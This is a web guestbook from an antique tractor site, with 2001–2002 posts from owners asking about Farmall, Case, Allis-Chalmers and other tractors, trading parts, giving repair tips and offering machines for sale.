Jim Dawson wrote on Saturday, March 09, 2002 (PST):I own a 1949 Case Di. Ipull it in antique tractor pulls. THis tractor has unbelible power I wouldn't pull anything else mbut a case. I also own a 1952 Do.
Troy Gold wrote on Friday, March 08, 2002 (PST):I just bought a Massey Harris. I need help identifing it. The numbers on the trany is 184795M1 and under the number is an S with an F in the uper part of the S and what looks like a G0 in the bottom part of the S. On the uper part of the block it has the following number, MH L 260 G and under that number it has 701 95. On the lower part of the block it has the following number, H 260 A323. It has a three point hookup. I have no idea what I have can anyone help. Thanks
Robert Willis wrote on Friday, March 08, 2002 (PST):What is the correct magneto for an Alis Chalmers 20-35?
jerry darrah wrote on Thursday, March 07, 2002 (PST):yesterday i bought my first 8n tractor it is a 1947 serial # 283 it came with front loader bucket/forks and a box blade i am trying to find info on front loader can anyone help ?
andy jones wrote on Wednesday, March 06, 2002 (PST):My father had a 1945 101 twin power 6cyd im trying to find one to give to him as a gift. please help me if you can
C.D.Klassen wrote on Wednesday, March 06, 2002 (PST):Whatis it? I bought a Massey-Harris tractor, on the serial plate it reads 102 SS, serial # 360369. The operators manual is for a 102 G. The decals on the hood read 102 G, twin power. The engine has a plate from Continental stating 226G. My serial number book lists #360369 as a101 SR standard. Is my tractor a 101 or a 102 ? what is the differance between a junior and a senior? C.D.K.
Don wrote on Tuesday, March 05, 2002 (PST):Looking for a Oil pressure gauge for a model L tractor. It is part # AL2811T
Jack &Jack wrote on Tuesday, March 05, 2002 (PST):My boy Jack and I just bought a 48 VAI with a LULL loader ,we have no hydralic cylinders for the loader,the hoses were removed and capped the guy we got it from didn't need it,but all the mount is on the tractor,the bucket and arms are off,we'd love to find cylinders or info on the hydralics,I've fixed a few old tractors I think this is one of the neatest,not to big and heavy,it seems wide and stable,our starter is worn out,anyone have a deal on a used one ? from Port Colborne South Ontario might sell it cedarbay at vaxxine.com
daryl king williamtown ny wrote on Tuesday, March 05, 2002 (PST):I HAVE TWO OC-3 ONE RUN GREAT AND ONE A PARTS TRACKDER.I HAVE A BUCKET AND A BLADE.BUT I NEED A RADIATOR
Mark wrote on Sunday, March 03, 2002 (PST):I have 1962 McCormic Farmall Cub. I think its number is 247091. I am looking for headlights. Can anyone help?
Tim Kellerman wrote on Sunday, March 03, 2002 (PST):looking for a carb for a MH102senior.has a 6cyl. continental engine.Carb needs a new float if there ones available.
dana opdycke wrote on Sunday, March 03, 2002 (PST):Brian, the serial number for 70's is on the brass looking plate on the starter side of the engine block. It will have oliver corp. charles city Iowa. You may need to rub the plate off with a scuff pad to see all the writing.
David Gray wrote on Saturday, March 02, 2002 (PST):I'm trying to obtain information about a Model A farmall tractor serail number F.A.A. 333286. It also has an operating bush hog. The model is a servis? I think it's a 64" cut. I would appreciate any and all information regarding this tractor.
Bill Osborne wrote on Friday, March 01, 2002 (PST):In looking over the comments, I noticed several who have problems with getting the plow to go in the ground, stay in the ground, or go deep enough. I have a '49 Cub w/1 bottom plow. Here's what you do; 1st=Turn the draw bar completely around. This puts the drawbar bolt holes ahead of the axle. Then attach plow by putting the plow hookup under the drawbar and inserting the bolts from the bottom side up. I also put an overside nut between plow and drawbar on both bolts which gives the plow more forward tilt. My plow works beautifully and plows 6-8" deep depending upon soil. Let me know if this works for you. I'll be checking the comment section.
Vern Sager wrote on Friday, March 01, 2002 (PST):Love those 420's, I have a 1957 420W. Hope to retore it. 420 Gas engine had 27.1hp at draw bar and 29.2 at PTO. I am sure this was new, because mine tested out at 18hp. Mine also needs the timing adjusted.
Don wrote on Thursday, February 28, 2002 (PST):looking for a "Lift Assembly" for a Ford 8N tractor, Dearborn part # 192088. Any help I could get would be greatly appreciated. Thanks
DEAN ZINGRE wrote on Wednesday, February 27, 2002 (PST):I OWN A 1962 M.F. 97 . IT'S AN L.P.AND I WOULD LIKE TO FIND AN ELWWOD FRT. END AND TRANSFER CASE FOR IT. I WOULD CONSIDER A COMPLETE TRACTOR WITH THE ELWOOD SET UP IF I COULD FIND ONE DEAD OR ALIVE. THESE OLD 97'S ARE GGRRREEEAAAATTTTTT ... MY PH. 815-786-8708
Oscar-a wrote on Wednesday, February 27, 2002 (PST): I have a model L 1940 s/n 631583 with tag,Hercules engine,original with many extra parts. Also a luc engine. All tec manuals for both, Would like to sell but I can't find out there worth. Any info would help.
Emmanuel fortin wrote on Tuesday, February 26, 2002 (PST):I bought a 420c a year ago I'm missing the too top rollers if anyone would have some for sell please write me.
Ed Gilliland wrote on Tuesday, February 26, 2002 (PST):What is the correct size rear tire for a Farmall H? This tractor will be a show tractor. Also, is there a tread style that is preferred? Enjoy your web page, and learn a lot from all the questions and comments. Thanks.
Robert Cecil Hardwick wrote on Tuesday, February 26, 2002 (PST):Wonderful piece of junk that International up thee in the pic! We started with a Fordson, went to a McCormick-Deering 15-30, then a GP John Deere, followed my a MM and a Case; one JD before goint to XT-190's for several years before going back to CASE/IH; too much green in the country!
curtis jones wrote on Monday, February 25, 2002 (PST):please help have a farmall (A) mcCormick cuti-vision ser# 196487 can you tell me what year this is and horse power. also the big question i want to install a three point hitch on it . is there a kit or a drawings or information of any kind. curtis in s.c. thankyou
larry gurr wrote on Monday, February 25, 2002 (PST):can any one tell me if you can bore out a "M" engine to take a 4 1/8" super m sleeve kit?
C. Deahl wrote on Saturday, February 23, 2002 (PST):I'm currently looking for a farmall av to restore. If you live in the IN,IL,KY,TN area and have any info on were I may purchase one please tell me. Preferably running and the engine block in good condition(no cracks). Thanks
Nick wrote on Saturday, February 23, 2002 (PST):I have a 1946 Case DC that has a flat front grill like the one in the picture it is origional if anyone has any iformation about why the grill is flat I would like to hear from you.
Norman wrote on Saturday, February 23, 2002 (PST):I am restoring an orgional white demo cub built in 1950. Can anyone can help me with the correct paint code. I have been told that IH used 1950 International Truck Paint, Polar white. All the paint suppliers that I have contacted only go back to 1957. The current IH white has too much of a cream color. This needs to be a bright white. You can email be direct at nzepp at aol.com. Thanks Norman
Alan Schurman wrote on Friday, February 22, 2002 (PST):We now own this Iron Horse and it is on display at the Iron Ranch in Ridgefield, Wa. The Clark County Rural Heritage Fair is held here July 20-21, 2002.
Ken Herdman wrote on Thursday, February 21, 2002 (PST):I own and use a 1952 VAO. It also had a turned down cast exhaust and the low seat with wide front end. I use it to run a sawmill and I haul logs with it. I love it !!
mitch Hankamer wrote on Thursday, February 21, 2002 (PST): My grandad owed a case dealership in the 50's. I have a lot of parts for L's, LA's and 500's. New rear wheels, fenders, gas tanks, front ends, grills, belts, carb parts, magneto's , steering yokes, spindles, hubs call for more info mitch 409-794 1616
JOHN KARNS wrote on Wednesday, February 20, 2002 (PST):I just purchased a D17 6 months ago. It is myfirst tractor ever.I fell in love with it the the first time I drove it. I mow about 25 acres with it. After 3-4 months it started loosing power and running ruff. I changed plugs,wires,rotor & cap.It ran great for a short period of time, then started loosing power and missing bad. I have no idea what year it is.If someone could help me out ,telling me where the serial # is located,so I know what year it was made.And if anyone has any advice for me. Thanks for anyones input!
Henri Loiselle wrote on Wednesday, February 20, 2002 (PST):I have an T9 international (which is the same as a TD9 except that this is a gas tractor.I used ist until a couple of years ago. A bearing went on one side of the drives and I haventhad time to fix that, and now some kids took the can off the exhaust and now I'm doing the diesel in the spark plug thing. I hav a blade for it and wee as a fork that I bolt on the dozer (it works really well for getting out roots) I also have a great diesel pump test bench that my dad use to use for WD9s and farmals. it will test up to 6 cylinders. I would'nt mind selling both as I don't have the time to fix or use these any more.
DANIEL LONG wrote on Wednesday, February 20, 2002 (PST):PLEASE HELP---NEED TO FIND OUT WHAT YEAR MY TRACTOR IS TO BUY PARTS TO FIX
Daniel R. Leighow wrote on Wednesday, February 20, 2002 (PST):I'm interested in buying some Massey Harris tractors. Right now I would like to find A 555 D. I use to drive a 333 when I was a Teenager in the sixties. I would like to use it to farm with, and buy others to restore them. I'm looking for 22,33,44, 55, 55 LP Western Special, 333, 444, & the 555. If any one knows where I can find some of these tractors Please let me know. Daniel Leighow.
Dave Taylor wrote on Wednesday, February 20, 2002 (PST):Woods C. Swinburn; If you are still looking for Texas boys with a B, my e-mail is davnkatz at vvm.com I'm in the Killeen-Belton area.
Ray wrote on Tuesday, February 19, 2002 (PST):I am trying to locate a 12 volt conversion kit fo a Farmall BN Please contact me at RTDARLING at AOL.COM OR 315-625 7725
Dave Taylor wrote on Tuesday, February 19, 2002 (PST):I just bought what I "think" is a B. I was born on a farm and will retire to one in about a year. City boy in between. Anyway, I would like to obtain a manual for this tractor. One immediate question is what kind of fluid goes into the PTO differential? It came with a "homebuilt" three-point hitch setup.
John wrote on Sunday, February 17, 2002 (PST):I wrote on feb. 8 about a 1950 case DI and forgot to add my email address. Email me at mud1451 at netzero.net. thank you.
Ken Mack wrote on Sunday, February 17, 2002 (PST): Toni your transmission is stuck in two gears.What i have done in the past is drive out the pin that holds the shifter in place then pull out the shifter and line up the gear columns.You need a light and only cansee with one eye.
dave chandler wrote on Sunday, February 17, 2002 (PST):looking for an exhaust/intake manifold for a 1950 Case VAO
anders white wrote on Sunday, February 17, 2002 (PST):recently i was watching a very fasinating tv station RFDTV on statelite dish they had a show one of many on antique tractors and there were 2 of those old wheel horses in action one with the orignal cart. i belive that the tractor show was from the uppermid west area . keep up the great work .Anders White age63
Morris Shepherd wrote on Saturday, February 16, 2002 (PST):My mother-in-law just died in Columbia, KY. There is a 1957 Farmall Cub in her estate. It has a cultivator, plow, grader blade and sickle mower. The estate is asking $3,000 OBO. please contact me asap.
Alan John wrote on Thursday, February 14, 2002 (PST):I am a former IH salesman, and in all my years of sales and service, I've never seen such intereting photos and information on International Harvestor equipment
Brent Maupin wrote on Thursday, February 14, 2002 (PST):I just bought a 1948 VAI and I look forward to getting it in working order. I am having trouble locating or knowing how to make a 3-point hitch. I live in North Carolina and would love some help.
Francis Kozlovsky wrote on Tuesday, February 12, 2002 (PST):My grandfather bought one in the mid 50's. The R was a very good tractor. We could out pull anything in it's weight class. Yes I did a lot of field work with it. Approx. weigth with out fluid or wheel weights is as I recall 3.5 tons.
Bill Blomquist wrote on Tuesday, February 12, 2002 (PST):I need a CASE DI engine for a customers tractor.
Brent wrote on Tuesday, February 12, 2002 (PST):I have recently become interested in the CUB and I am looking to buy one in the near future,whether it runs or not.I would much rather restore one that has been forgotten in some old barn somewhere.To hear it roar back to life would make me appreciate it so much more than to buy an already restored one.But,I am interested in any Cub.I live in the Southern Illinois area if anyone has any information.Thanks
Walter Ducki wrote on Monday, February 11, 2002 (PST):I have a farmall B that I would like to sell its in fair condition and I have used it daily for the past 25 yrs it runs good but could really use some TLC.Located in connecticut.
Josh Gibson wrote on Monday, February 11, 2002 (PST):The tractor looks good, but I would put a wide front end under the tractor.
Mike Scott wrote on Sunday, February 10, 2002 (PST):I have several quesations to ask about the A and B Farmall. 1. Can I swap a Woods l-59 belly mower on a B and use it on an A. 2. What is the differences between the A and B as far as size, horsepower, etc? Just how different are they. 3. The rims on both A and B are 24's. Can I switch and put the wider B tires which are on the 24" rim, on my A? In other words the 24" would be the same, but the tire width and height would be larger than the B. Thank you. I just bought the A with a Simplcity deck, but it is not the deck that my Woods is. I now wwant to sell the B. If it is in good running shape, with new rubber, could I get $1400 with the mower deck included? Mike Scott
JDM Guy wrote on Sunday, February 10, 2002 (PST):I have a L with a Hercules motor in it. Nice little tractor. I'm looking for a hand crank for it.
Toni wrote on Sunday, February 10, 2002 (PST):I have a Farmall M, last time I parked it, it did just fine, now when I start it and put it into gear it stalls out on me and won't move, The brake is off, got any ideas that would help me, please email me and let me know, thanks.
JOHN wrote on Friday, February 08, 2002 (PST):I have come across a 1950 Case DI,with a Lull loader.It doesn't have a 3 point hitch or PTO/PTO controls. I'd like to find out if and how I can add these, as well as power steering.I'd like to find out how and where i can get parts to fix it up.I've found out I can get plugs,points,carb. rebuild kit,etc. through NAPA.The 1st thing I need to get is a rear rim.One is rusted through and needs to be replaced before I can use it. Any and all help would be appreciated..
Don wrote on Friday, February 08, 2002 (PST):Can someone tell me when the model "M" came out with power steering?
Terry Johnson wrote on Friday, February 08, 2002 (PST):My grandfather purchased a 1938 F-12 complete with front rubber tires, rear steel wheels and rear fenders. He used it mainly for cultivating with the two row mounted cultivator, because he also had a 15-30. His oldest son could operate the hand lift, but when he left home my dad couldn't, so they added the hydraulic lift. They also changed the steel wheels to rubber tires then. When my grandfather died in 1951, my father returned from the Air Force to take over the family farming operation. Dad used the F-14 for many years, but slowly became less dependable and was moved further to the back of the machine shed. Our home town centennial was the reason we decided to restore it three years ago. Dad and I took it completely apart. New rings, valve job, new intake manifold, new tires and new paint. Dad has taken it to several tractor shows and has been very pleased to have won some trophies. I want to use the tractor, but Dad wants to keep it clean. So, I just went and bought an F-12 with a two row cultivator. But the F-14 is still priceless to me and Dad. It will be in our family for another generation for sure. Terry Johnson tjpj4th at netins.net
Bill Cope wrote on Thursday, February 07, 2002 (PST):I need to trailer my Model R and want to be sure that its' weight doesn't exceed the rating of the traler. Does anyone know how much it weighs?
curtis king wrote on Wednesday, February 06, 2002 (PST):i have aF-20 i need to know what year it is serial number is fa2393 so i can the pant it needs i need 11-36 tires have ex parts for sale maybe look to buy a runing F-14 or a 10-29 here in texas
Ron M wrote on Wednesday, February 06, 2002 (PST):TO; D. Miller & Ralph Fisher - Are your A tractors still for sale? Please post a note if so.
Ron M wrote on Wednesday, February 06, 2002 (PST):TO; Philip Moore & Mike Shutt - Are you interested in selling your cultivators. I would also be interested in trading a single bottom, single point, quick attach plow for 'A' cultivators. Please post a note if interested.
Ryan wrote on Wednesday, February 06, 2002 (PST):My pop had a john deere model l for as long as i can remember he purchase it for 100$ my pop was a mechanic of a mine he was the head one so he could do any thing with a tractor he made a snow plow of the model l which works good some time be for i was around the engine give out in it and when my pop whant to get the parts to do the engine john deere could not get the parts so he toke the engine out of a allis-chalmers and put in it. and then he put her top back on her but when i was 3 that engine give out so pop and dad put a car engine in it and then put her top back on her pop used her like that untell he died back in 2000 then dad put her up in the woods on pops land. this of couse hurt me to see pops tractor not being used of couse the dad put her up their becuse she her water pump give out and dad being a paramedic he did not know to much about a engine but i did because pop showed me evey thing he know so one day i whent up to that woods and got it going and now we are using it snow cleaing the bond i got with the tractor can not be hurt i love it so much because it was pops and a part of my child hood i can hood on to and i can alos kept my pop with me forever.
Ken J wrote on Wednesday, February 06, 2002 (PST):I have owed a 44 special for about 8 years.I bought it for $400 and drove it home,after cleaning the carburetor.I use it to brush hog and haul wood mostly.Awhile back the voltage regulator went out,so I put on a GM alternator.Now, since having to really tighten the narrow belt,the water pump is leaking.I'd like to find a rebuild kit or seal for the pump if possible.Otherwise I guess I need a new pump.I'd also be interested in a lift,hydraulics,and a blade,and maybe other parts.It's a 4 cyl.gas.Pump # is;1921. Also could use a manual.Thanks for any help. Ken.
Reg petten wrote on Wednesday, February 06, 2002 (PST):I would love to know as many model l comments as I can E-Mail with some
Brad Stagg wrote on Wednesday, February 06, 2002 (PST):What is the tractor worth in fair and still running.MMZ It has a Hand clutch.
Don wrote on Tuesday, February 05, 2002 (PST):Looking for a AL2811T oil pressure gauge.
Ron M wrote on Tuesday, February 05, 2002 (PST):Regarding the fast hitch. I'm familar with the 2 point fast hitch as on a 3 bottom IH Super Chief plow for a 560 I have; but I also have a single point hitch on my farmall 100 consisting of a receiver attached above the drawbar with a spring retainer. The implement has a tapered bar that slides into the receiver and latches when you back up into the implement. You then lift the hitch and off you go. I also have a 40" howard rototiller which is single point quick attach, but you still need to get off to clip on the PTO.
John W wrote on Tuesday, February 05, 2002 (PST):My father just purchased a F20--in good shape and it runs well!--but has two questions--1; what year is serial #fa-137,104-ha? {noted on the engine and frame}. 2--where can one order a parts book or manual for this tractor? Thanks
Rick Vito wrote on Sunday, February 03, 2002 (PST):I am looking for any and all information on the 1929 Regular as I'm in the process of attempting to restore one also what is the value of one completely restored? Any info would be most appreciated!
Lars G wrote on Sunday, February 03, 2002 (PST):In Sweden I have an old Olover from 1946, called Oliver 35. I know the Swedish agency, Sodesrberg&Haak, renamed the models and instead of using the American numbers, Soderberg&Haak changed it to how many horse-powers the tractors had. Just one thing, what was the American Model of this Swedish model Oliver 35? This model is not a stream-lined model, it has a four cylinder engine, wide front and 28" rear rims/wheels. I have heard different model types of this Oliver 35 here in the US, Oliver 99, Oliver 80 and also Oliver 35. Please help me to clear up my mind about my Oliver. Regards, Lars
Walter Burak wrote on Saturday, February 02, 2002 (PST):Have a friend you is restoring a Wallis 20/30. It runs but is hard to start and runs not the best.Would like some info on timing the magneto.
Paul wrote on Saturday, February 02, 2002 (PST):I own a 1949 Farmall Cub that I plan to sell. The tractor is equipped with a snowplow blade, tire chains, a one-bottom plow, a disc attachment, a harrow, a sickle-bar mower, and a tote box. It runs, but needs a little work. Can anyone tell me how much it is worth?
frank woodruff wrote on Saturday, February 02, 2002 (PST):i am restoring a 48 cub that i would like to use in my landscaping bussiness. and i need to know where i can purchase a front end loader for it
ROBERT HAILES wrote on Saturday, February 02, 2002 (PST):AFTER 40 YEARS OF THE OIL PATCH I FOUND ME AN "OL" M---A 1946! THE SAME YEAR THAT MY DAD BOUGHT THE OLM I GREW UP WITH--LATER IN "53" A SUPER M--SORRY BUT THE SM WAS NEVER THE TRACTOR TH "OL M WAS.-I NEED TO INSTALL POWER STEERING AND A 3 POINT HITCH---I HEARD THERE IS A HITCH THAT FITS OVER THE DRAWBAR WITHOUT REWMOVING IT??--WHAT ABOUT PS.... WHERE CAN I FIND THESE ITEMS HELP HELP
John Rutz wrote on Saturday, February 02, 2002 (PST):Im looking for a Cub any condition in the TexArkLa area
JMS/MN wrote on Friday, February 01, 2002 (PST):A friend of mine wants info on his Massey Model 44- such as parts sources, wiring diagram, tire size, etc. I've picked up some info on the Massey board, and would appreciate any further info someone could provide. Thanks very much for whatever you can provide.
Terry Johnson wrote on Friday, February 01, 2002 (PST):I have a web page dedicated to T-20s. Neat little crawler! home.earthlink.net/~tjohnson2/_wsn/page3.html
Tandy Barr wrote on Thursday, January 31, 2002 (PST):In regards to Ralph Lanni question about his LoBoy that idel ok but doesn't have any power. Ralph this reminds me of a problem I had years ago with a four cylinmder eng. that would do the same one day it got to where it would start very quickly every time and idel great but wouldn't do anything else just die if you even acted like you were going to rev it up. After hours trying everything I could think of I replaced the condenser in the distributor with a new one, guess what everything was back to normal. TRY IT. And by the way I am a cub loboy owner as well with fingertip hydraulic control a 4 or 5ft. belly mower and doser blade for the front. I do know the mower is a WOODS built mower.
Ron W. wrote on Thursday, January 31, 2002 (PST):I Have (2) F-12s or they might be F-20s. They have been siting out in a field for many years. I would like to know what they are worth. I may sell them for the right price. I live in Kansas. Thanks
Norm Rozak wrote on Wednesday, January 30, 2002 (PST):When my father retired from farming in northern WI., he had an auction in 1999. He gave me his 1949 original 8n. We sold the saw rig, plow, disc, corn planter, haymower, and jack stands, all came with the tractor. Couldn't you just kick yourself in the shorts! Doesn't matter. It'll always be his tractor, cause he used it for over 50 years. Now I use it and it runs great. He thinks he paid $1300 for this stuff new. I've gotten some good deals in my life, one was my father,the other is his 8n ford. ;)
evelyn hobbs wrote on Wednesday, January 30, 2002 (PST):have a 1940,s 3 wheel silver king for sale looks just like the one on the front page looks good and runs great
chris cowen wrote on Monday, January 28, 2002 (PST):my granddad had one and i have it and i am looking for part to get it running again so i can use it on the farm that he owned that is now mine
Evan Clowater wrote on Sunday, January 27, 2002 (PST):I've had my ac 160 for about four years.I'm the second owner. It is a 1971 160 with a 460 AC frontend loader, light material bucket&manure forks. I also got an AC tagalong bushmower with it.My tractor runs great.The 3point hitch is a little jumpy when overloaded.I use it for plowing snow and I grow strawberries.I love driving it more than my other tractors because it steers so easy and I can see good because of the height.I've replaced the starter,alternater,battery,hydralic pump,tierod ends and repacked the lift cylinders.I painted it last year.It only has 3500 hours on it.The gages all work,the tractor looks like new.I also have the service manual and parts manual for it.My brakes still work,but I would say they are one of the weak points of the tractor.I'd sell her for 10,000 Canadian.
kevin gross wrote on Friday, January 25, 2002 (PST):about 10 yrs ago my grandfather found the exact 1954 case 500 he bought brand new .trailered it homeand rebuilt it from the ground up in the fall of last year we watched his 2 D's and his S along with 2 mcCormicks and a John AR go in auction when the farm was sold due 2 cancer. the 500 is all my family has left to remind us of 55 yrs of that farm sitting in my garage with this piece of raw iron is the origional sales flyer and shop manual im always looking 4 more Case memorabilia...if anyone has interesting memorabilia please e-mail mellgross10 at hotmail.com
diana wrote on Thursday, January 24, 2002 (PST):Please email me if interested in an ellis g tractor. good shape and kept in a garage
diana wrote on Thursday, January 24, 2002 (PST):Please email me if interested in an ellis g tractor. good shape and kept in a garage
Leo Dahlberg wrote on Tuesday, January 22, 2002 (PST):I'm rebuilding a model AG 6 Celtrac 1946 I believe. I'm confused as how the Oliver and the Celtrac are related.any knows let me know.Also I need a set of lovered panels,if any one knows of set let me know.Thanks.
Tom Billings wrote on Tuesday, January 22, 2002 (PST):Is a Farmall B more powerful than a Allis Chalmers B ?
Matt from PA wrote on Tuesday, January 22, 2002 (PST):Now I'm just taking a stab at this one ( I'm more educated on the M's & H's ), but I think you could get at least $2,500.00 give or take. But that all depends on the condition attachments are and how bad the paint may be. If it's a prime piece of machinery I wouldn't hesitate to 3,000 or even 3,500. Your location also plays a HUGH part in your price, here in south central Pennsylvania the Cub's run for about 2,000 WITHOUT all the attachments your offering. Go for as much as you can get, Good Luck
dave wrote on Monday, January 21, 2002 (PST):I own a G706 1963 mo. In good running cond. and would be interested in selling. neat old tractor call 608-625-2469
Alex wrote on Monday, January 21, 2002 (PST):I am also looking for an f-20 magneto if any one knows of one that i can get a hold of please contact me.
ron biron wrote on Monday, January 21, 2002 (PST):I have a super w4 and I would like some information or diagrams on the wiring system and the specs of the tractor. Any information would be appreciated, thank you very much.
Roger Sparrow wrote on Monday, January 21, 2002 (PST):I have a question for you all. I have a 54 wide front end Cub with belly mower,blade, field cultivator,sickle bar,plow and its orignal manual. I bought last spring a set of new tires for front end and new battery. It runs good,needs a paint job. I was wondering what this thing is worth, if I decided to sell it. If you can help I would appreciate it
terry wrote on Sunday, January 20, 2002 (PST):looking to purchase a L or LA or model 63 tractor.You can call 306-882-2413 home or 306-882 4291 work.
Don Eccles wrote on Sunday, January 20, 2002 (PST):My E-mail address is; ddej2 at magma.ca
Bill wrote on Saturday, January 19, 2002 (PST):We had a 966 on hour farm, and we traded it for a Same with a 130 hp. So after we realized we could not bet the power of a 966, so I could just imagine the power of 1066.
Mike wrote on Saturday, January 19, 2002 (PST):I'm trying to determine the value of an OC3 and an OC4 with a loader. They both run and are located in the northeast.I'm looking for anyone who may be interested in purchasing them or helping me source a new home for them. I'm on the west coast and don't think it's feasible transporting them across the country.
tsoukjr wrote on Friday, January 18, 2002 (PST):We have one on our farm and we use it alot for pulling tractors out of the mud and pulling logs for firewood in the winter
Jerry Schroers wrote on Friday, January 18, 2002 (PST):I have a MM ZAE wide front that Im working on now,engine runs good, and at present am removing twisted off bolts in the radiator and grill area.Paint is good,will be for sale in the spring of 02. Jerry
Matt from PA wrote on Friday, January 18, 2002 (PST):I was amazed to find out International had a line of diesel Farmall's built in the UK, ( I believe they were called Super BMD's ). Are there any in the U.S.? What's the price of one of these machines today in U.S money?
Matt from PA wrote on Friday, January 18, 2002 (PST):It's about time this site's up and running again, those Allis Chalmers people are boring! Now a question for you Cub men out there; I've been told that Farmall came out with a limited number of Cubs that had a single wheeled front end, I'm almost current that wouldn't run to safely but stranger things have happened, thanks
Lee Heilman wrote on Friday, January 18, 2002 (PST):I have a 1923 Waterloo Boy model N. I purchased a tractor at an auction about 4 years ago. The tractor needs restored and is in good mechanical condition.I have all the necessary parts to restore the tractor but need the extra time to go along with it.This tractor is part of our Family collection , and is treasured at many local and far shows.
Woods C. Swinburn wrote on Thursday, January 17, 2002 (PST):Dear Larry, my computer isn't set up to respond to you directly, so, please e-mail me at wcswinburn at hotmail.com with the following information. Where are you located, how much are you asking for the Farmall B, and what is your e-mail address. Thanks in advance for your reply. Woods
Larry Kuhn wrote on Thursday, January 17, 2002 (PST):I've got a 1945 Farmall B that was my grandfather's tractor. I am interested in selling it. It was restored completely about 5 years ago.
David Hagan wrote on Wednesday, January 16, 2002 (PST):Can you email me when you get a john deere 4020 diesel picture? Thanks David
Woods C. Swinburn wrote on Tuesday, January 15, 2002 (PST):I have an ole Farmall B with a frozen engin. I've worked on it for over a year (off and on) and can't get it loose. Am thinking about trying to find a new engin (an old engin that is working). If anyone has one for a reasonable price, I'd like to hear from you. I live in east Texas, so, the closer the better, I can't afford too much in terms of shipping costs. Thanks in advance for any help. Woods
Diana wrote on Tuesday, January 15, 2002 (PST):My husband has an ellis chalmers g and it is in good shape. I live in Pa. near pittsburgh and i would like to sell it but have no idea what it is worth
Reuben Miller wrote on Monday, January 14, 2002 (PST):Most of the commentaries are from people who left only their names. No addresses or phone numbers. Would Phil Thompson please contact me at (780) 963-9730 Fax (780)963-6209 We are searching for the FUNK FORD 8N Conversion kit. Thanks
Kyle Conrad wrote on Monday, January 14, 2002 (PST):How can you link computers to the evolution of farm tractors?
Joe Williams wrote on Monday, January 14, 2002 (PST):I'm trying to get my Dad's old G running again so I was wondering where the serial number is located so I can determine what model it is. Can anyone help?
Klye Weber wrote on Sunday, January 13, 2002 (PST):I have a m with no seriel numbers on it. I was wondering how to tell what year it is?
Mike wrote on Saturday, January 12, 2002 (PST):Does anyone know how many Hi-Crop M tractors were built?
Bart French wrote on Saturday, January 12, 2002 (PST):Just got my Super Oliver 55 gas 2 months ago. Traded for some other equipment. It now sits in the garage. Wife whats to know why her car has to sit out side. I said, Its an oliver!!!!!. Looking for sheet metal parts, seat parts and other accessories that will help me restore this lady to her origional contition.
Patrick webb wrote on Friday, January 11, 2002 (PST):Hi my dad wants a Allis Chalmers G. if you want to sell one please call 954-2110 or mail me at Patrick Webb Box 223 Fawcett A.B Tog 0y0
Jimmy S. wrote on Friday, January 11, 2002 (PST):This is the first time I have ever seen a tractor like this. It looks like a beast. My grandfather has an H and I use it every day in the summer to mow. I think you did a great job with it, and I hope someday to restore ours for my grandfather
bill lewis wrote on Thursday, January 10, 2002 (PST):6 mounthsago i bought a fergie it was preet well cobbed the right side rear tire hub assem etc was off a ford 9n and has no tage on it to tel what year model etc ive called a few trac shops and discribed it they all say its a te20 becouse of the lucus ingnition but when i blew a water pump and ordered a new one it ws wrong when we ordered it from the casting number off the old water pump it still was wrong the water pump i need is triangle in casting shape and the bolt holes for the fan are kind of off set 2 really close 2 rather farther apart the person i bought the tractor from says the engine is a triumph but all the trac dealers says its gotta be a contanetal please help i love my little trac and would love to hear it purrring againe
DON MOSSNER wrote on Thursday, January 10, 2002 (PST):would like to trade aALLIS CHALMERS G.for either a john deere LA OR J.D.M
Randy wrote on Thursday, January 10, 2002 (PST):My dad has a F30 that he bought in the 40's. He was telling me that the 30 only has two main bearing on the crank, no center bearing, is this true with the F20 also.
Cotton Picker wrote on Monday, January 07, 2002 (PST): We have an 806,1066 and a 1586. I like the 1066 the best. We also have 4 cotton pickers 622,2-782s,and a 1822. I have a 4020 JD but it seems like it's broke most of the time. I'm looking for a 660 IH they're hard to find. If any one knows where to get one I'd like to know. NOTHING KILLS A DEERE LIKE A MAGNUM!
Al Tacoma wrote on Monday, January 07, 2002 (PST):I have a case VAO or so the emblems say. This thing has a hydrolic front bucket[dumps by hand]also Eagle hitch. I cant find the year. The tractor runs well but is not big enough for what I need. It has the wide front. Not restored but works well. Any ideas where I should advertise? 1000.00
Mike Ivens wrote on Monday, January 07, 2002 (PST):my dad just recieved a farmall cub serial #fcub60299. Is there any one that knows where we can find out the origanal colours.the implaments that he got with the cub have blue paint and that matches with the blue on some of the leavers on the cub. All the pictures I have seen of the cub with implaments there all painted red any help would be appreciated
Sandy Hanna wrote on Monday, January 07, 2002 (PST):My daughter has a F-20 that is in running condition (hand crank to start). Needs to sell as she can not start it or store it. If interested, please let me know. We are in Wisconsin.
F. Duncan wrote on Thursday, November 15, 2001 (PST):I have a model 70 JD , diesel with pony starter engine . Wide front end , 3 point hitch . Runs good and sheet metal is all in place . Dad bought it 15-20 years ago from a friend . I wonder what kind of value it may have , best I can tell by the serial # it is a 1953 model . I work it 2-3 times a year and get along fine with it . I am considering selling it , or restoring it . Thanks FD
Ron wrote on Wednesday, November 14, 2001 (PST):have an oc3 and am looking for parts. any suggestions would be greatly appreciated. throttle parts and magneto. i believe it's a 1950
DAVE BRUBAKER wrote on Wednesday, November 14, 2001 (PST):I should have a fine Row Crop at my auction this month.
steve daniel wrote on Tuesday, November 13, 2001 (PST):i have one of these are there any way to put a 3 pointhitch on it if so let me know how thanks steve.
Ed wrote on Tuesday, November 13, 2001 (PST):Bob, about your magneto problem, put in new points and condenser and crank engine with the cap off you should see a slight arc at the points, it may be necessary to do this in the dark, if no arc is seen your gonna need the mag rebuilt.
Matt M wrote on Monday, November 12, 2001 (PST):To Rick; How much do you want for the tractor? Is it wide front or narrow? Address more information please.
N/A wrote on Monday, November 12, 2001 (PST):How much horse-power does a Farmall B have? Are they more powerful than an Allis Chalmers B?
Ed Hamberg wrote on Monday, November 12, 2001 (PST):TO GARY H. the cub was the smallest tractor made by IH, with 8.89 drawbar horsepower, the "A" was slightly larger with 16.32 d.b. h.p. The super A replaced the A in 1947 and had more h.p., adjustable rear tred widthand other options. In the mid 50's dropped the "letter" series and began using numbers i.e. 130, 140, 230, 350, 450 etc. the 140 was introduced in 1958to replace the "A", there was also a 130 built from 56 to 58. Hope this helps!
Ed wrote on Sunday, November 11, 2001 (PST):To N/A, the fast hitch was the IH version of the 3 point, but it had only two "arms" that would slip into "sleves in the equipment and the lift it.
